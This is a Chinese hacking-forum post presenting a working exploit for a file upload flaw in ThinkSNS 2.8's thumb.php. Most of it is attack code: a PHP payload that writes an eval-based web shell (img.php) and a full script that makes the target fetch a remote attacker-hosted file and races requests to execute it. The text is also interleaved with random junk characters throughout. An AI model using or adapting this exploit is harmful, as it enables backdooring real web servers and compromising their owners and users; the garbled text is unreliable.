找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2004|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
' f7 o2 d& L- o, N存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)* @7 c9 {) Y% r9 x% U
漏洞文件
2 w, N2 J( L, R1 D5 Z% _存在漏洞的文件为:thumb.php
# o: N* V; |$ x9 P# E作者:韦鲲鹏
8 t( U* B  Y1 v9 N! F- J1、        准备如下PHP文件并上传到服务器(自己的)。7 q) g+ R2 U) ?2 C5 i5 @( P3 l! O# N
文件内容如下:
0 S2 k. d7 e' t- y! }8 {6 Z! v+ B<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ N8 A( n, E# U2 C. _2、        计算出临时的文件名:7 X! f; g) J: C
这里我们可以看文件的99行(刚刚是不是没注意呀!)。# U& k" J# N  h: K) j4 i) z& B
) v6 r& }1 q6 m7 O" v& `
3、        上传临时文件。
* `; u1 w) K+ @/ k4、        访问临时文件。& I9 C2 k# R$ _9 \
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。): @1 o. p/ i* `3 I8 X
Exploit文件内容如下:(这个我就不详细解释了)
7 s1 z+ i" z. g' O! U<?php# f5 G/ z  g( w' d$ h
error_reporting(0);
$ w  q6 ]6 x9 z& b& h! m1 yset_time_limit(0);5 P" w3 W% ~/ }9 g! U
ini_set(“default_socket_timeout”, 5);
' E6 ]( S! V! T7 J3 ^, V1 f. H. S5 qfunction http_send($host, $port, $headers) {4 N# \* r1 s7 Z7 w
$fp = fsockopen($host, $port);+ F, O3 v& V+ c
if (!$fp) die(‘Connection -> fail’);
- o, `2 u2 I6 I4 Wfputs($fp, $headers);
: d/ @/ V- U' G9 Creturn $fp;$ @/ X! ^+ ?' s# K/ U6 i
}
9 y1 }( E6 v" n8 P/ rfunction http_recv($fp) {
% N& N+ i; h1 a+ m: j$ret=”";" f4 R2 x# U4 m  U, Z, ]
while (!feof($fp))) D3 [8 E+ Q5 e$ Y* b+ b. K
$ret.= fgets($fp, 1024);  B" o' _+ a( v( z% I$ ]
fclose($fp);9 x* R0 c! H5 \7 H" Y
return $ret;
1 Z* Q. v+ ~+ d, U}
1 a% L6 c7 ~( u1 \5 z7 m1 mprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
; S: u& C0 ?2 s2 i( d: c0 L7 tprint “# Discovered by 韦鲲鹏 #\n\n”;7 u/ P1 w' ~' G- }
if ($argc < 4) {: S+ T/ h( b1 d% P, s) I# Y1 g
print “Usage:   php <host> <path> <romote_url>\n”;
, ~% w7 |# ^, \' J6 d5 Yprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;: L/ q) I7 a) a3 I+ A3 \
die();
" G! j& K0 n0 @% x0 N6 U6 l0 B( I}$ v9 k' c8 N* m/ i& r
$host = $argv[1];
) v9 ]# @: [4 t, L6 w$path = $argv[2];+ j% F: x2 Z$ m. s9 s7 I; i" N+ d
$url = $argv[3];! q4 z) M0 `: Y8 G+ E! S& ?
$i=0;, H- O+ b0 R% K, b" l
//上传数据包
! a! d9 ?# \1 V2 c$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
5 R' y3 w  E9 I' w$headers_up .= “Host: “.$host.”\r\n”;/ M" j# W8 Q" _7 j
$headers_up .= “Connection: close\r\n\r\n”;
2 @; J, S- H! J5 |/ z4 uecho $headers_up;, a0 B# b" b8 f9 y
//临时文件访问数据包/ b& n7 `: |( U) c2 S
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;6 z9 ~% W2 d: v$ D9 q1 Y! c
$headers .= “Host: “.$host.”\r\n”;
; v4 z" Z8 f4 W" x$headers .= “Connection: close\r\n\r\n”;
  @8 f  {+ Z0 \! fecho $headers;
5 J7 ^; J5 |' m6 e# Y7 F0 _while(++$i<10) {
  m8 s/ A5 T: C, _6 nfclose(http_send($host, 80, $headers));  U1 f1 {8 K$ R* e) h, [
}
4 m$ U: k, T/ B; T+ B+ [fclose(http_send($host, 80, $headers_up));' F; B! ?$ N/ E0 J5 l1 K) M
while(++$i<50) {
% p' t  C. `- Z5 f" X$ x$ m6 ]fclose(http_send($host, 80, $headers));5 J( N# ^. d, O  Y9 p8 x& ~
}6 z) X0 |8 H: n) L' U0 s
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;1 N! r2 z! [* b
$headers .= “Host: “.$host.”\r\n”;
- L) E' U+ L% r3 P9 B/ S$headers .= “Connection: close\r\n\r\n”;% i& F9 [- m: c$ ]( h* n, `* {) A
$res=http_recv(http_send($host, 80, $headers));
* r3 Y9 l+ W! f, J- y% Pif(preg_match(‘/200 OK/’,$res)) {+ V* S0 D. ^% p, K0 {
print “Success!\n\n”;$ Z, ^0 S. i" o$ z4 v9 F2 n9 r1 T
} else {% r0 G/ ?5 Y2 ~- c$ p6 V
print “Fail!\n\n”;
+ C2 h/ w- B# E+ O" P}0 l2 ~/ W. ~( \! f. O
?>- A- x) G/ M6 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表